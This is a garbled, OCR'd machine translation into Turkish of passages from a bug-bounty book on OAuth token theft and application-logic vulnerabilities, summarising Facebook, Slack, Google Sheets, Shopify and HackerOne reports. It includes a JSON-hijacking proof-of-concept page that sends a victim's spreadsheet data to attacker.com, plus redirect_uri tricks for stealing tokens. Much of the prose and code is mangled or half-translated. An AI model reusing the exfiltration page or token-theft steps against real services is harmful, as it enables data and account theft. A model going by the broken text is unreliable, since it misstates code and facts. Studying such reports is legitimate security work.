Son olarak, durum degeri bir CSRF korumasi tiirii olarak iglev goriir. Talep eden site ( miisteri )
bunu kaynak sunucuya orijinal ¢agrilarina dahil etmeli ve

a) asil istegin site tarafindan ¢agrildigini ve

tahrif edilmedi.

Asama 3

Sonra, bir kullanici OAuth iletisim kutusunu kabul ederse agilir ve istemeci izinlerini verir.
kaynak sunucudaki bilgileri ya da 6rnegimize gore Facebook cevap verecek

302 tarayiciya yeniden yonlendirmek , redirect uri tarafindan tanimlanan siteye ( istemci )
ve bir kod veya belirteg ekleyin, i¢inde cevap _tipine (genellikle koddur) bagl olarak

ilk URL

4. adim

Tarayict , kod ve durum dahil olmak tizere siteye ( miisteri ) bir GET istegi yapacak

URL’deki kaynak sunucu tarafindan saglanan degerler .

Adim 5

Site (istemci ), islemin tahrif edilmediginden emin olmak i¢in durum degerini dogrulamalidir
yapmak i¢in kendi client_secret'leriyle birlikte kod kullanin ve (yalnizca onlar bilir)
Bir belirteg i¢in kaynak sunucuya veya Facebook'a istek gonder .
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6. adim

Kaynak sunucusu bu 6rnekte, veya facebook, siteye (yanit istemei bir birlikte)



Sayfa 175

sitenin ( miisterinin ) Facebook'a API ¢agrilar1 yapmasina ve kapsamlara erismesine izin veren token
3. Adimda izin verdiginiz

Simdi, biitlin bu akilda tutulmasi gereken, dikkat etmeniz gereken bir ey

Siteye ( miisteri ) erismek i¢in kaynak sunucuya , Facebook'a bu 6rnekte, ziyaret ederseniz

Yine 2. Adimdaki URL’den, islemin kalan kismi tamamen

gerekli kullanici etkilesimi olmadan arka plan.

Yani, tahmin ettiginiz gibi, OAuth ile aranacak olas1 bir giivenlik a¢ig1

Kaynak sunucunun dondiirdiigi belirtegleri ¢alma yetenegi . Bunu yapmak izin verir
Saldirgan adina magdur adina kaynak sunucuya erismek i¢in saldirgan

3. Adimdaki yetki belgesindeki kapsamlar araciligiyla izin verilir. Aragtirmama gore, bu tipik
redirect_uri'yi manipiile edebilme ve yerine bir belirteg isteme sonucu

kod.

Bu gelir i¢in Yani, ilk adim test etmek Adim 2 . Eger yonlendirildi aldiginizda kaynak

sunucuya , yanit_tipini degistirin ve kaynak sunucunun bir belirteg dondiiriip dondiirmeyecegini goriin. Eger
oyle yaparsa, sitenin veya uygulamanin nasil yapilandirildigim onaylamak igin redirect_uri'yi degistirin. Iste,
bazi OAuth kaynak sunuculari kendileri yanlis yapilandirilmis olabilir ve asagidaki gibi URL’lere izin verebilir
www.example.ca, www.example.com@attacker.com vb. Tlk drnekte, .ca eklenir.

aslinda sitenin etki alanini degistirir. Yani benzer bir sey yapabilir ve satin alabilirsiniz

etki alani, belirtegleri sunucunuza génderilir. Ikinci érnekte, @ ekleme

URL'yi tekrar degistirerek ilk yarry1 génderilecek kullanici ad1 ve sifre olarak kabul edin.

attacker.com'a.

Bu iki 6rnegin her biri bir hacker olarak sizin i¢in miimkiin olan en iyi senaryoyu sunar.

Bir kullanicr siteye zaten izin vermigse ( miisteri ). Simdi tekrar ziyaret ederek

kaynak sunucu degistirilmis bir yanit_tipi ve yeniden yonlendirmeli_uri kodu olan kétii amagli URL
Kullanicinin zaten izin verdigini ve belirteci dondiirecegini

herhangi bir etkilesim olmadan sunucunuza otomatik olarak. Ornegin, bir

kotii amagli URL'yi gosteren sre niteligi ile kotii amagli <img> .

Simdi dogrudan sunucunuza yénlendirilemediginizi varsayarsak, kaynagin hala kaynak olup olmadigim gorebilirsiniz.
sunucu , test.example.com gibi farkli alt alanlar1 kabul eder veya

www.example.com/attacker-controlled. Redirect uri yapilandirmasi kati degilse, bu

kaynak sunucunun belirteci kontrol ettiginiz bir URL'ye géndermesine neden olabilir . Ancak,

Bir jetonu basartyla ¢almak i¢in bu giivenlik agigini bir araya getirmeniz gerekir.

Bunu yapmanin ii¢ yolu acik bir yonlendirmedir, uzak bir goriintii veya bir XSS ister.

Acik yonlendirmeyle ilgili olarak, yolu ve / veya alt etki alanini kontrol edebiliyorsaniz
hangi yonlendirmeye yonlendirilirse, acik bir yonlendirme
sunucunuza gonderilen yonlendirme iistbilgisi. Bagka bir deyisle, agik bir yonlendirme

Bir kullaniciy1 kotii amaglt sitenize géndermeniz ve bunu yaparken sunucunuza yapilan istek
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Magdurun geldigi URL’yi ekleyin. Yana kaynak sunucu kurbani génderiyor
Acik yonlendirme i¢in belirte¢ ve belirte¢ bu URL’ye dahil edilirse, belirte¢
Aldiginmiz bagvuru yonlendirici baghgi.

Uzak bir goriintii ile ilgili olarak, ne zaman harig, yukarida agiklandig gibi benzer bir islemdir.
Kaynak sunucu sunucunuzdan Uzak resim i¢eren bir sayfaya yonlendiriyor.

Magdurun tarayicisi goriintii i¢in talepte bulundugunda, bunun i¢in yonlendiren baglik

istek URL'yi igerecektir. Ve tipki yukaridaki gibi, URL belirteci i¢erdiginden

Sunucunuza istek eklenecektir.

Son olarak, XSS ile ilgili olarak, herhangi bir alt etki alaninda depolanmis bir XSS bulabilirseniz /



bir saldirganin yonlendirdigi yolu veya redirect uri 6gesinin bir pargasi olarak yansiyan bir XSS
Bu, belirteci URL’den alan ve gonderen kotii amagli bir komut dosyasi kullanmaktan

onlarin sunucusu.

Biitiin bunlar géz 6niine alindiginda, bunlar sadece OAuth'un kotiiye kullanilabilecegi yontemlerden sadece birkagi. Orada

orneklerden dgreneceginiz gibi digerleri vardir.

Ornekler

1. Facebook Resmi Erisim Simgelerini Kaydirma

Zorluk : Yiiksek
URL : facebook.com

Rapor Baglantisi : Philippe Harewood - Facebook Resmi Erigim Simgelerini Kaydirma »

Rapor Tarihi : 29 Subat 2016
Odemeli Odiil : Agiklanmad:
Tanim :

Philippe, bu giivenlik agigimi ayrintilariyla agiklayan blogunda, nasil istedigini agiklayarak bagliyor
Facebook jetonlarin1 yakalamak ve yakalamak i¢in. Ancak, kirmanin bir yolunu bulamadi.

OAuth siirecleri ona belirtegleri yollamak i¢in. Bunun yerine, aramak i¢in ustaca bir fikri vardu.
devralabilecegi savunmasiz bir Facebook uygulamasi. Fikrine ¢ok benzer

bir alt etki alan1 devralma.

Goriinilige gore, her Facebook kullanicisinin hesabi tarafindan yetkilendirilmis uygulamalar1 vardir, ancak bu
acikca kullanmayabilirler. Yazisina gore, bir 6rnek “Icerik Sekmesi olacaktr.
Facebook Fan Sayfalarina baz1 API ¢agrilar yiikleyen, www. Uygulamalar listesi

https://www.facebook.com/search/me/apps-used adresini ziyaret ederek erisilebilir.

Bu listeye bakarak Philippe, yanlis yapilandirilmis bir uygulama bulmay1 basard: ve
gibi goriinen bir istekle belirtecleri yakalamak igin k&titye kullanilabilir:

2 http://philippeharewood.com/swiping-facebook-official-access-tokens
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https:? /facebook.com/v2.5/dialog/oauth response_type = belirteci & display = agilir & client_\
id = APP_ID & redirect_uri = REDIRECT_URI

Burada APP_ID igin kullanacagi uygulama tam izinlere sahipti.

Zaten yetkili ve yanlis yapilandirilmis - islemden 1 ve 2 numarali adimlarm anlami
OAuth Ag¢iklamasinda agiklananlar zaten tamamlandi ve kullanici alamadi

onlar zaten zaten yapmus ¢iinkii app izin vermek i¢in bir pop-up!

Ek olarak, REDIRECT URI, Facebook'a ait olmadigindan, Philippe aslinda
Devral. Sonug olarak, bir kullanici baglantisini tikladiginda, yonlendirilecekler:

http: // REDIRECT_URI / access_token_appended_here

Philippe bu adresi tiim erisim belirteclerini giinliige kaydetmek ve Facebook hesaplarini ele gegirmek i¢in kullanabilir!
Resmi bir Facebook'unuz oldugunda, yaymina gore, daha da harika olan sey

erigim belirtecine, 6rnegin Facebook'un sahip oldugu diger miilklerden belirteglere erisebilirsiniz.

Instagram! Tek yapmasi gereken, Facebook GraphQL'e (sorgulama i¢in bir API) ¢agr1 yapmakti.


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://philippeharewood.com/swiping-facebook-official-access-tokens
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://philippeharewood.com/swiping-facebook-official-access-tokens

Facebook'tan gelen veriler) ve yanit, i¢indeki uygulama i¢in bir access_token igerir
soru.

cikarimlar

Giivenlik aciklarini ararken, eski varliklardan nasil yararlanilabilecegini goz 6niinde bulundurun.
Hacklenirken, birakilabilecek uygulama degisikliklerine dikkat edin

bunlar gibi kaynaklar ortaya ¢ikar. Philippe'den gelen bu 6rnek harika ¢iinkii o

OAuth belirteglerini ¢alarak ve bir son hedefi belirleyerek onunla basladi

Bunu yapmak i¢in araglar.

Eger bu 6rnegi sevdim, ayrica, size kontrol etmelisiniz Philippe Blog 3
(Kaynaklar Béliimiine dahil) ve Oturdugu Hacking Pro Ipuglari Réportaji
yapmak i¢in benimle asag1 - o bir ¢ok biiyiik tavsiye saglar !.

2. Slack OAuth Jetonlarim1 Calmak

Zorluk : Diisiik

URL : https://slack.com/oauth/authorize

Rapor Baglantisi : https://hackerone.com/reports/2575 4
Rapor Tarihi : 1 Mayis 2013

Odemeli Odiil : 100 $

4 http://hackerone.com/reports/2575
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Tanim :

Mayis 2013’te Prakhar Prasads Slack'e, k di aralarinda by-pass yapabilecegini bildirdi.
yapilandirilmis izin verilen yonlendirmeyc bir etki alan1 soneki ekleyerek redirect uri kisitlamalari
alan ad1.

Dolayistyla, 6rneginde, https://api.slack.com/applications/new adresinde yeni bir uygulama yaratt1.
https://www.google.com adresine yapilandirilmis bir redirect_uri ile. Oyleyse, bunu denemek
redirect_uri = http: //attacker.com 'u denedi, Slack istegi reddetti. Ancak, eger o alt

mitted redirect_uri = www.google.com.mx, Slack istegi kabul etti. Yonlendirme deneniyor-

uri = www.google.com.attacker.com adresine de izin verildi.

Sonug olarak, saldirganin yapmasi gereken tek sey kendi sitelerinde uygun alt etki alanin1 olusturmakti
Slack uygulamasi i¢in kayith gecerli redirect_uri ile esleserek, magdurun URL'yi ziyaret etmesini saglayin
Slack token'r saldirgana génderirdi.

c¢ikarimlar

Biraz eski olsa da, bu giivenlik a¢igi OAuth redirect uri degerinin nasil oldugunu gosterir.
tarihlemeler kaynak sunucular tarafindan yanlis yapilandirilabilir . Bu durumda, Slack’in
bir saldirganin alan sonekleri eklemesine izin veren OAuth'un uygulanmasi

ve belirtegleri galmak.

3. Google Drive E-Tablolarim Calmak

Zorluk : Orta


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://hackerone.com/reports/2575
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://hackerone.com/reports/2575
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/prakharprasad

URL : https://docs.google.com/spreadsheets/d/KEY
Rapor Baglantisi : https:/rodneybeede.coms
Rapor Tarihi : 29 Ekim 2015

Odemeli Odiil : Agiklanmad:

Tanm :

Ekim 2015°te, Rodney Beede Google’da olabilecek ilging bir giivenlik agig1 buldu.

Bir saldirganin, e-tablo kimligini bilmesi durumunda e-tablolar1 ¢almasina izin verdi. Buydu
Ozellikle Google’in HTTP GET isteklerinin gergeklestirdigi bir faktdrler birlesiminin sonucu
CSRF giivenlik agig1 olusturan ve bir OAuth belirteci icermeyen

JSON igeren gegerli bir Javascript nesnesi. Ona uzanarak, o yeterince nazikti

ornegin paylasilmasina izin verin.

Diizeltmeden dnce, Google’in Gorsellestirme API’s1, gelistiricilerin Google E-Tablolar’1 sorgulamalarini sagladi.
Google Drive’da depolanan e-tablolardan bilgi i¢in. Bu basarilabilirdi
suna benzeyen bir HTTP GET istegi:

s https://hackerone.com/prakharprasad

6lmm://www.mdnevbeede.com,’Gooyzle Spreadsheet Vuln - CSRF and JSON Hijacking_allows data_theft.html
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https : / dokiimanlar . google . com / elektronik tablolar /d / ID / gviz / tq ? bashklar =2 & amp ; aralik = Al : H & amp ; s\
heet = Sayfal & amp ; tqx = % req % 3A0
URL’nin ayrimntilar1 6nemli degil, bu yiizden ayrilmayacagiz. Onemli olan
Bu istegi yaparken, Google gonderilen bir OAauth belirteci eklememis veya dogrulamamustir,
veya baska tiir bir CSRF korumasi. Sonug olarak, saldirgan istegi ¢agirabilir
Magdur adina kétii niyetli bir web sayfasi araciligiyla (6rnegin, Rodney'nin izniyle):
1 <html>
2 <Head>
3 <Script>
4 var google = yeni Nesne ();
5 google.visualization = new Object ();
6 google.visualization.Query = new Object ();
7 google.visualization.Query.setResponse = function (goods) {
8 google.response = JSON.stringify (iirlinler, tanimsiz, 2);
9 }
10 </ Seript>
11
12 <! - Bagimsiz degisken olarak gdmiilii JSON dizgisine sahip Javascript'i dondiiriir ->
13 <script type = "text / javascript" src = "https: //docs.google.com/spreadsheets/d/1 \

14 bWK2wx57QJLCsWh-jPQS07-2nkaiEaXPEDNGoVZwjOA / gviz / tq? Headers = 2 ve aralik = A1: H & amp \
15 ; sheet = Sheet1 & amp; tqx = reqld% 3A0 " > </script>

16

17 <Script>

18 islev kacakgiligi (mallar) {

19 document.getElementByld (‘cargo’) .TextText = mal;
20 document.getElementByld ( 'gizli") gondermek ().;
21 )

22 </ Seript>

23 </ Head>


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.rodneybeede.com/Google_Spreadsheet_Vuln_-_CSRF_and_JSON_Hijacking_allows_data_theft.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/prakharprasad
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.rodneybeede.com/Google_Spreadsheet_Vuln_-_CSRF_and_JSON_Hijacking_allows_data_theft.html

25 <body onload = "smuggle (google.response);" >
26 <form action = "https://attacker.com/capture.php" method = "POST" id = "gizli" >
27 <textarea id = "cargo" name = "cargo" satirlar = "35" cols = "70" > </textarea>
28 </ Form>
29
30 </ Body>
31 </html>
Bunu yikalim. Gére Google'in belgelerinde 7, JSON yanit1 alir
Javascript nesnesindeki veriler. Bir istek bir responseHandler degeri icermiyorsa,
7 https://developers.google.com/chart/interactive/docs/dev/implementing_data_source#json-response-format
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varsayilan deger sudur google.visualization.Query.setResponse . Yani, bunlar1 akilda tutarak,
3. satirdaki komut dosyasi, anonim bir iglev tanimlamamiz gereken nesneleri olugturmaya baglar
Javascript nesnesi ile verilerimizi aldigimizda setResponse i¢in ¢agrilacak

Google'dan.

Boylece, 8. satirda, google nesnesindeki yaniti, yanitin JSON degerine ayarliyoruz .
Nesne basitce gecerli JSON icerdiginden, bu sorunsuz calisir. Iste
yayildiktan sonra drnek bir cevap (yine Rodney'in izniyle):

{

"versiyon": "0.6",
"reqld": "0",

"status": "tamam",

"sig": "405162961",
"masa": {

"cols": [

{

"fd": "A",

"label": "Hesap # 12345",

Simdi, bu noktada, zeki okuyucular Cross Origin'e ne oldugunu merak etmis olabilirler.

Kaynak Paylasimi korumalar1? Komut dosyaniz Google’in yanitina nasil erisebilir?

ve kullan? Peki, Google igeren bir Javascript nesnesi dondiirdiigii igin ¢ikiyor

Bir JSON dizisi ve bu nesne anonim degil (yani, varsayilan deger

setResponse), tarayict bunu gecerli Javascript olarak degerlendirir ve boylece saldirganlarin okumasini saglar
ve kullan. Mesru bir senaryoyu uzak bir siteden kendi basiniza eklemeyi diisliniin

HTML, ayn fikir. Senaryo sadece bir JSON nesnesi igeriyor olsaydi, olmazdi

gegerli Javascript ve erigemedik.

Kisa siirede, bu giivenlik agigi bir siiredir JSON olarak bilinen

ucak kacirma, gasp, hirsizlik. Bunu kullanmak, anonim Javascript nesneleri i¢in de miimkiindii.
Javascript Object.prototype 6gesini gecersiz kilarak. defineSetter yontemi, ancak bu

Chrome 27, Firefox 21 ve IE 10.

Ko&tii niyetli sayfamiz yiiklendiginde Rodney'in 6rnegine geri donersek , onload olay1
25 satirindaki body etiketimizin igleyicisi , satir 18'den kagak islevini gergeklestirir.
Biz textarea elemani olsun kargo hattinin 27. formda ve bizim yayilmasina metni ayarlamak

sac cevabl. Formu Rodney'nin web sitesine gonderiyoruz ve basartyla caldik


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developers.google.com/chart/interactive/docs/dev/implementing_data_source%23json-response-format#json-response-format
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developers.google.com/chart/interactive/docs/dev/implementing_data_source%23json-response-format#json-response-format
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veri.

Tlging bir sekilde, Rodney'in Google ile olan etkilesimine gére, bunu degistirmek bir
API'nin kendisinde basit diizeltme ve gerekli degisiklikler. Sonug olarak, Ekim ayinda rapor ederken
29,2015, bu 15 Eyliil 2016'ya kadar ¢oziilmedi.

OAuth

ozet

c¢ikarimlar

Burada birkag paket servis var. {1k olarak, OAuth giivenlik agiklari her zaman ilgili degildir
belirtegleri ¢almak. OAuth tarafindan korunan API isteklerine dikkat edin.

belirteci gondermiyor veya dogrulamiyor (6r. OAuth belirteg basligini kaldirmay1 deneyin
bir tanimlayici varsa, URL'deki sayfa kimligi gibi). Ikincisi, bu énemli

Tarayicilarin Javascript ve JSON'u nasil yorumladigini anlamak ve anlamak. Bu

giivenlik ag181, Google’in gegerli bir sekilde dondiigii i¢in kismen miimkiin

SetResponse araciligiyla erisilebilir JSON igeren Javascript nesnesi. Olsaydi

anonim bir Javascript dizisi, miimkiin olmazd1. Son olarak, iken

Kitaptaki ortak bir tema ise, belgeleri okuyun. Google’in dokiimantasyonu

Yanitlar hakkinda, gonderilen ve ¢aligan bir kavram kanit1 gelistirmenin anahtari oldu.

elektronik tablo verilerini uzaktaki bir sunucuya

OAuth, ilk oldugunuzda baginizi etrafa sarmak i¢in karmasik bir islem olabilir

ya da en azindan benim i¢in ve konustugum ve 6grendigim bilgisayar korsanlariydi.
Bununla birlikte, bir kez anladigiizda, verilen giivenlik agiklari i¢in ¢ok fazla potansiyel vardir.

bu karmagiklik. Bir geyleri test ederken, gibi yaratici ¢dzlimler aramaya devam edin

Philippe ti¢iincii parti uygulamalar1 devralmakta ve Prakhar gibi etki alan1 soneklerini kotiiye kullanmaktadir.
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20. Uygulama Mantig1 Giivenlik Aciklari

Aciklama

Uygulama mantig1 giivenlik agiklari, tartistigimiz diger tiirlerden farkly

simdiye kadar. Oysa, HTML Enjeksiyonu, HTML Parametre Kirliligi, XSS vb.

bir tiir potansiyel olarak zararli girdi, uygulama mantig1 giivenlik ag181 gondermek
gercekten web uygulamasi kodlama senaryolari manipiile ve hatalarin istismar igerir
geligsme kararlari.

Bu tiir saldirilarin kayda deger bir 6rnegi Egor Homakov tarafindan GitHub'a kars1 ¢ikarildi
Ruby on Rails kullaniyor. Rails'e agina degilseniz, ¢ok popiiler bir web
Bir web sitesi gelistirirken agir yiiklerin ¢ogunu saglayan gerceve.

Mart 2012'de, Egor, Rails Toplulugu i¢in varsayilan olarak Rails'in kabul edecegini igaret etti.

kendisine gonderilen tiim parametreler ve bu degerleri veritabani kayitlarinin giincellenmesinde kullanmak
(gelistiricilerin uygulamasina bagl olarak). Rails'in ¢ekirdek gelistiricileri tarafindan yapilan diisiince

Rails kullanan web gelistiricileri bu giivenligi kapatmaktan sorumlu olmaliydi.

bosluk ve kayitlarin giincellenmesi igin bir kullanici tarafindan hangi degerlerin gonderileceginin tanimlanmasi. Bu
davranis topluluk i¢inde zaten iyi biliniyordu ancak GitHub’daki konu

Bu risk ne kadar az takdir ederse, https://github.com/rails/rails/issues/5228 1 e neden olmustur .

Cekirdek gelistiriciler onunla ayni fikirde olmadiginda, Egor bir kimlik dogrulama isleminden yararlanmaya devam etti.
icerdigi parametre degerlerini tahmin edip gondererek GitHub'taki giivenlik agig1

Olusturma tarihi (Rails ile ¢alistiysaniz ve bunlarm ¢ogunu biliyorsaniz asir1 zor olmaz)

kayitlar1 veritabaninda olusturulan ve giincellenmis bir siitun igerir). Sonug olarak, o bir yaratti

GitHub'a bilet, gelecekteki tarihlerle birlikte. Ayrica SSH erisimini giincellemeyi basardi

Resmi GitHub kod deposuna erigmesine izin veren anahtarlar.

Bahsedildigi gibi, kesilmeyen arka u¢ GitHub koduyla hack saglandi.
Egor'un ne yaptigini, yani izninin olmamasi gerektigini dogrulayarak dogrulayin.
Olusturma tarihi i¢in degerleri géndermek, ardindan veritabanini giincellemek igin kullanilir.

kayitlari. Bu durumda, Egor toplu atama giivenlik agig1 olarak adlandirilan seyi buldu.

Uygulama mantig1 giivenlik agiklari, 6nceki tiirlerle karsilastirildiginda biraz daha zor

Saldirilar tartigildi ¢linkii kodlama kararlar1 hakkinda yaratici diistinmeye giiveniyorlar ve
sadece gelistiricilerin kagmadigi potansiyel olarak zararli kodlar1 gonderme meselesi degil
(buradaki diger giivenlik a¢1g1 tiirlerini en aza indirmeye ¢aligmiyor, bazi1 XSS saldirilart disinda
Karmasgik!).

! https://github.com/rails/rails/issues/5228
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GitHub 6rnegiyle, Egor sistemin Rails'e ve nasil yapildigina dayandigini biliyordu.

Raylar kulplu kullanici girisi. Diger 6rneklerde, dogrudan API ¢agrilari yapmakla ilgili olabilir.

Shopify's ile goriildiigi gibi bir web sitesini destekleyen davranisi test etmek igin programli olarak
Asagidaki Yonetici Ayricaligi Bypass' se¢in. Veya, geri gonderilen degerleri yeniden kullanma meselesidir.
izin vermemesi gereken sonraki API ¢agrilar1 yapmak i¢in kimligi dogrulanmis API cagrilar

yapmak.

Ornekler

1. Shopify Yonetici Ayricaligi Bypass

Zorluk : Diisiik
URL : shop.myshopify.com/admin/mobile devices.json

Rapor Baglantisi : https://hackerone.com/reports/100938>

Rapor Tarihi : 22 Kasim 2015
Odemeli Odiil : 500 Dolar
Tanim :

Shopify, hem kullanici arayiiziine bakan hem de web sayfasini igeren biiyiik ve saglam bir platformdur.
destekleyici API'ler. Bu 6rnekte, API, bazi izinleri dogrulamadi.

Web kullanic arayiizii goriiniiste yapti. Sonug olarak, izin verilmeyen yoneticileri saklayin

sat1g i¢in e-posta bildirimleri almak, bu giivenlik ayarini manipiile ederek atlamak olabilir

Apple cihazlarna bildirim almak i¢in API bitis noktasi.

Rapora gore, hacker sadece sunlar1 yapmak zorunda kalacak:

* Shopify telefon uygulamasina tam erisim hesabu ile giris yapin.
+ Istegi POST'a /admin/mobile_devices.json adresine durdurma
* Bu hesabin tiim izinlerini kaldirin

* Eklenen mobil bildirimi kaldirin

» Istegi POST / admin/mobile_devices.json adresine tekrarlayin

Bunu yaptiktan sonra, s6z konusu kullanici, kendisine verilen tiim siparisler i¢in mobil bildirimler alir.

Boylece, magazanin yapilandirilmis giivenlik ayarlar dikkate alinmaz.

2 https://hackerone.com/reports/100938
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cikarimlar

Burada iki anahtar var. {lk olarak, her sey kod enjekte etmekle ilgili degildir,

HTML vb. Her zaman bir proxy kullanmay1 unutmayin ve hangi bilgilerin bulundugunu izleyin.
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Eﬁ%tgﬁéﬁ ttlr(\)/ enr?n(flgt W&é‘?l})gﬁlﬂ}é ol ex}?mlr?”( 41 rHl 1tuﬂ%1n0151 yine hepsi degil
saldirilar HTML web sayfalarlna dayanmaktadir. API bitis noktalar1 her zaman potansiyel sunar

giivenlik ag1g1 bolgesi bu yiizden her ikisini de degerlendirdiginizden ve test ettiginizden emin olun.

2. HackerOne Sinyal Manipiilasyonu

Zorluk : Diigiik
URL : hackerone.com/reports/XXXXX

Rapor Baglantisi : https://hackerone.com/reports/1063053

Rapor Tarihi : 21 Aralik 2015
Odemeli Odiil : 500 Dolar
Tanim :

2015 yilinin sonunda, HackerOne, Signal adli siteye yeni bir islevsellik getirdi.

Temel olarak, bir Hacker'in 6nceki giivenlik a¢iginin etkinligini tespit etmeye yardimci olur

bu raporlar kapatildiktan sonra raporlar. Burada, kullanicilarin kapanabilecegini not etmek 6nemlidir.
HackerOne hakkinda, raporlarinda degisiklik yapilmamas: gereken kendi raporlari

Itibar ve Sinyal

Yani, muhtemelen tahmin edebileceginiz gibi, islevselligi test ederken, bir hacker kesfetti
Bu islevsellik yanlis bir sekilde uygulandi ve bir hacker'in olusturmasina izin verildi.

Herhangi bir ekibe rapor verin, raporu kendiniz kapatin ve bir Sinyal artist alin.

Ve hepsi oradaydi

c¢ikarimlar

Kisa bir agiklama olsa da, buradaki paket servis paketinin abartilamamasi durumunda
yeni islevsellik icin dikkat! . Bir site yeni islevler uyguladiginda, bu

taze et. Yeni islevsellik, yeni kodu test etme firsatini temsil eder ve

bocek aramak. Bu Shopify Twitter CSRF ve Facebook i¢in ayniydi

XSS agiklari.

Bundan en iyi sekilde yararlanmak igin, sirketlere kendinizi tanitmak iyi bir fikirdir
ve sirket bloglarina, haber biiltenlerine vb. abone olun, boylece ne zaman haberdar olun
bir sey serbest birakildi. Sonra test et.

3 https://hackerone.com/reports/106303
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3. Shopify S3 Kovalar Acik

Zorluk : Orta

URL : cdn.shopify.com/assets

Rapor Baglantisi : https://hackerone.com/reports/98819 4
Rapor Tarihi : 9 Kasim 2015

Odemeli Odiil : 1000 Dolar

Tanim :
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Amazon Basit Depolama, S3, miisterilerin dosya saklamalarini ve sunmalarini saglayan bir hizmettir
Amazon'un bulut sunucularindan. Shopify ve birgok site, statik depolamak ve hizmet vermek i¢in S3 kullanin

goriintiiler gibi igerik.

Tim Amazon Web Servisleri paketi AWS ¢ok saglam ve izin igeriyor
yoneticilerin hizmet basina izinleri tanimlamasini saglayan yonetim sistemi, S3
dahil. izinler, S3 kovalar1 olusturma yetenegini ierir (bir kova, depolama alam gibidir

klasor), kovalardan oku ve digerlerinin yan sira kovalara yaz.

Aciklamaya gore, Shopify S3 kovalarini izin verilen sekilde diizgiin bir sekilde yapilandirmadi.

oturumlar ve istemeden herhangi bir kimligi dogrulanmis AWS kullanicisinin okuma veya yazmalarina izin verdi

kovalar. Bu agik¢a sorunlu ¢iinkii siyah sapkalar1 kotii amagli istemiyorsunuz.

S3 kovalarinizi en azindan dosyalari saklamak ve sunmak i¢in kullanmak igin.

Ne yazik ki, bu biletin detaylar1 agiklanmadi, ancak bunun kesfedilmesi muhtemel.

AWS CLI ile servis saglayicinizla AWS servisleriyle etkilesime gegmenizi saglayan bir arag
Komut satir1. Bunu yapmak i¢in bir AWS hesabina ihtiyaciniz olsa da, bir tane olusturmak aslinda
Herhangi bir hizmeti etkinlestirmeniz gerekmediginden iicretsiz. Sonug olarak, CLI ile

Kendinizi AWS ile dogrulayin ve ardindan erigimi test edin (Bu tam olarak nasil buldugumu
HackerOne kovasi agagida listelenmistir).

cikarimlar

Potansiyel bir hedef belirlerken, tiim farkli araglar1 not aldiginizdan emin olun,

Web servisleri de dahil olmak iizere kullaniyorlar. Her servis, yazilim, isletim sistemi vb.
Potansiyel yeni bir saldir1 vektoriinii ortaya ¢ikarir. Ayrica, bu iyi bir fikir

AWS S3, Zendesk, Rails, vb. popiiler web araglarini tanimak.

birgok sitenin kullandig.

4. HackerOne S3 Kovalar Acik

Zorluk : Orta

4 https://hackerone.com/reports/98819

Uygulama Mantig1 Giivenlik Ag¢iklari

Url : [REDACTED] .s3.amazonaws.com

Rapor Baglantisi : https://hackerone.com/reports/128088s

Rapor Tarihi : 3 Nisan 2016
Odemeli Odiil : 2,500 Dolar
Tanim :

Burada biraz farkli bir sey yapacagiz. Bu aslinda benim i¢in bir giivenlik a¢ig1
kesfedildi ve yukarida agiklanan Shopify hatadan biraz farkli, ben de gidiyorum

Bunu nasil buldugumla ilgili her seyi, harika bir senaryo ve biraz ustalik kullanarak paylasin.

3 Nisan hafta sonu boyunca nedenini bilmiyorum ama disarida diigiinmeye karar verdim.

kutu ve HackerOne saldirt. Bagindan beri siteleriyle oynuyordum ve

Bilginin ag1ga ¢ikmasiyla her zaman yeni bir kirilganliga kigimda tekmelemeye devam etti.

nasil 6zledigimi merak ederek bulundu. S3 kovalarinin savunmasiz olup olmadigini merak ettim.
Shopify en. Ayrica hacker'in diisiindligiim Shopify kepgesine nasil eristigini merak etmeye devam ettim.
Amazon Komut Satirt Araglarini kullaniyor olmaliydi.
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imdi, normalde HackerOne’un mﬁr}gkl"m olm d1'1%1 dﬁsli(inlerek k.endli(mi d&rdlgabilirdim.
unca’zamandan sonra savunmasiz. Ama benden<ikisip’kalimis bir¢ok seyden biri

Ben Sadeghipour (@Nahamsec) ile réportaj yapmak kendimden veya yeteneklerinden siiphe duymamakt:
hata yapmak i¢in bir sirket.

Bu yilizden Google’1 bazi ayrintilar i¢in aradim ve iki ilging sayfa ile karsilagtim:
1.951 Amazon S3 Kovada Bir Delik Vars
S3 Kepce Bulucu 7

Bunlardan ilki, bir giivenlik sirketi olan Rapid7'den ilging bir yazi.
Halka ag¢ik S3 kovalarini kesfettiler ve ¢ildirtici ya da tahminde bulundular
kova ad1.

Ikincisi, kelime listesi alacak ve kovalari arayan S3'ii arayacak havali bir aractir.
Ancak, kendi listesiyle gelmiyor. Ancak Rapid7 makalesinde 6nemli bir satir vardi.
“Fortune 1000 sirketinin bir kag farkli sozliikteki isimlerini tahmin etmek

.com, -backup, -media iizerinde permiitasyonlu isimler

Bu ilgingti. Hizli bir sekilde HackerOne benzeri i¢in potansiyel bir kova isimleri listesi hazirladim.

hackerone, hackerone.marketing, hackerone.attachments, hackerone.users,
hackerone files, vb.

s https://hackerone.com/reports/128088

6h_ttps:'/community._rapid7.com/community/infosec/blo 2013/03/27/1951-0pen-s3-buckets

7 https://digi.ninja/projects/bucket _finder.php
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Bunlarin higbiri ger¢ek kova degil - rapordan ¢ikardilar, onur duyuyorum

bu senin de bulabilecegine emin oldugum halde. Bunu bir meydan okuma igin birakacagim.

Simdi, Ruby betigini kullanarak, kovalar1 aramaya basladim. Hemen seyler bakmadi
iyi. Birka¢ kova buldum ama erisim reddedildi. Sans yok bu yiizden kagtim ve izledim
Netflix.

